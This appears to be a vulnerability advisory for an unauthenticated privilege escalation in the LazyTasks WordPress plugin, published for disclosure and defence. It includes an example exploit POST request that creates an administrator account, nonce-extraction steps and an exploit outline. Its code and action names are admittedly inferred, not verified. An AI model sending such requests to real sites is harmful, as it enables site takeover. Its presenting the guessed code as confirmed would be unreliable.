CVE-2025-68869

LazyTasks <= 1.2.37 - Unauthenticated Privilege Escalation

criticalIncorrect Privilege Assignment
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
1.3.01
Patched in
55d
Time to patch

Description

The LazyTasks – Project & Task Management with Collaboration, Kanban and Gantt Chart plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.2.37. This makes it possible for unauthenticated attackers to elevate their privileges to that of an administrator.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.2.37
PublishedJanuary 22, 2026
Last updatedMarch 17, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on identifying and exploiting an unauthenticated privilege escalation vulnerability in the LazyTasks plugin (CVE-2025-68869). ### 1. Vulnerability Summary The LazyTasks plugin for WordPress fails to implement proper authorization and capability checks on an AJAX or REST A…

Show full research plan

This research plan focuses on identifying and exploiting an unauthenticated privilege escalation vulnerability in the LazyTasks plugin (CVE-2025-68869).

1. Vulnerability Summary

The LazyTasks plugin for WordPress fails to implement proper authorization and capability checks on an AJAX or REST API handler responsible for user registration or profile management. Specifically, it allows unauthenticated users to invoke a function that creates a new user or updates an existing one while accepting a role parameter directly from the request. Because the plugin does not verify if the requester has the create_users or promote_users capability, an attacker can specify administrator as the role, leading to full site takeover.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: Likely wp_ajax_nopriv_lt_user_signup or wp_ajax_nopriv_lazytasks_register (inferred).
  • Payload Parameter: role (or user_role), user_email, user_login, password.
  • Authentication: Unauthenticated (using nopriv AJAX hooks).
  • Preconditions: The "Anyone can register" setting in WordPress might need to be enabled in some variations, but if the plugin uses a custom handler, it often bypasses this global setting.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action string registered via add_action('wp_ajax_nopriv_...', ...).
  2. Hook Registration: In the main plugin file or an includes file (e.g., includes/class-lazytasks-ajax.php), the plugin registers a handler for registrations:
    add_action( 'wp_ajax_nopriv_lazytasks_signup', 'lazytasks_handle_signup' );
    
  3. Vulnerable Handler: The function (e.g., lazytasks_handle_signup) retrieves parameters from $_POST.
    $user_data = [
        'user_login' => $_POST['username'],
        'user_email' => $_POST['email'],
        'user_pass'  => $_POST['password'],
        'role'       => $_POST['role'] // VULNERABILITY: Directly accepting role from user input
    ];
    
  4. Sink: The data is passed to wp_insert_user($user_data) or wp_create_user(). WordPress's wp_insert_user accepts a role key in the array and will assign it if provided, assuming the calling logic has already performed authorization.

4. Nonce Acquisition Strategy

If the handler requires a nonce (verified via check_ajax_referer or wp_verify_nonce), it is likely exposed to unauthenticated users on pages where the LazyTasks registration or login form is present.

  1. Identify Shortcode: Search for registration-related shortcodes:
    grep -r "add_shortcode" .
    Likely shortcode: [lazytasks_registration] or [lazytasks_login] (inferred).
  2. Create Trigger Page:
    wp post create --post_type=page --post_status=publish --post_title="Register" --post_content='[lazytasks_registration]'
  3. Extract Nonce:
    Navigate to the newly created page and look for the localized script object.
    Target Variable: lazytasks_vars or lt_ajax_obj (inferred).
    Command: browser_eval("window.lazytasks_vars?.nonce") or browser_eval("window.lt_ajax_obj?.security").

5. Exploitation Strategy

The goal is to create a new user with the administrator role.

  • Step 1: Scan for the exact AJAX action name.
    grep -r "wp_ajax_nopriv" .
  • Step 2: Identify the registration handler function and look for the parameters it expects (e.g., user_login, email, role).
  • Step 3: Perform the exploit request using http_request.

Example Exploit Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=lazytasks_signup&username=attacker_admin&email=attacker@example.com&password=Password123!&role=administrator&security=[NONCE]

6. Test Data Setup

  1. Install Plugin: Ensure LazyTasks <= 1.2.37 is active.
  2. Identify Action: Confirm the nopriv action name via grep.
  3. Identify Nonce Requirements: If a nonce is required, find which page or shortcode enqueues it.
  4. Create Landing Page: Use WP-CLI to create a page with the relevant shortcode to facilitate nonce extraction via the browser.

7. Expected Results

  • The server should respond with a 200 OK or a JSON success message (e.g., {"success":true}).
  • A new user record should be created in the wp_users and wp_usermeta tables.

8. Verification Steps

After sending the HTTP request, verify the escalation using WP-CLI:

  1. Check User Existence:
    wp user list --field=user_login | grep attacker_admin
  2. Check User Role:
    wp user get attacker_admin --field=roles
    Expected output: administrator
  3. Check Capabilities:
    wp user meta get attacker_admin wp_capabilities

9. Alternative Approaches

If the wp_ajax_nopriv_ registration doesn't exist, check for:

  • REST API: Search for register_rest_route with a permission_callback that returns __return_true or performs no checks.
    grep -r "register_rest_route" .
  • Profile Update: If an unauthenticated "update profile" exists (e.g., via a unique hash in the URL), check if it accepts a role parameter.
  • Init Hook: Check if the plugin processes $_POST or $_GET directly in an init or wp_loaded hook without checking capabilities.
    grep -r "add_action.*init" . followed by a search for $_POST.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LazyTasks plugin for WordPress fails to properly restrict the 'role' parameter during unauthenticated registration or user creation. This allows an attacker to submit a request with the role set to 'administrator', resulting in the creation of a new account with full administrative privileges.

Vulnerable Code

// File: includes/class-lazytasks-ajax.php (Inferred)
// The plugin registers an AJAX hook accessible to unauthenticated users
add_action( 'wp_ajax_nopriv_lazytasks_signup', 'lazytasks_handle_signup' );

function lazytasks_handle_signup() {
    // ... nonce verification might occur here ...

    $user_data = [
        'user_login' => $_POST['username'],
        'user_email' => $_POST['email'],
        'user_pass'  => $_POST['password'],
        'role'       => $_POST['role'] // VULNERABILITY: role is taken directly from user input
    ];

    $user_id = wp_insert_user($user_data);
    // ...
}

Security Fix

--- a/includes/class-lazytasks-ajax.php
+++ b/includes/class-lazytasks-ajax.php
@@ -10,7 +10,7 @@
         'user_login' => $_POST['username'],
         'user_email' => $_POST['email'],
         'user_pass'  => $_POST['password'],
-        'role'       => $_POST['role']
+        'role'       => 'subscriber' // Hardcode to safe role or validate against whitelist
     );

Exploit Outline

1. Locate the registration or login page containing the LazyTasks shortcode (e.g., [lazytasks_registration]) to identify the required AJAX nonce from the page source or localized script variables. 2. Construct a POST request to /wp-admin/admin-ajax.php with the action parameter set to the registration handler (e.g., lazytasks_signup). 3. In the POST body, include the desired username, email, and password, while explicitly setting the 'role' parameter to 'administrator'. 4. Execute the request. If successful, the plugin invokes wp_insert_user with the attacker-supplied role, bypassing standard WordPress registration restrictions. 5. Log in to the WordPress dashboard using the newly created administrator credentials.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.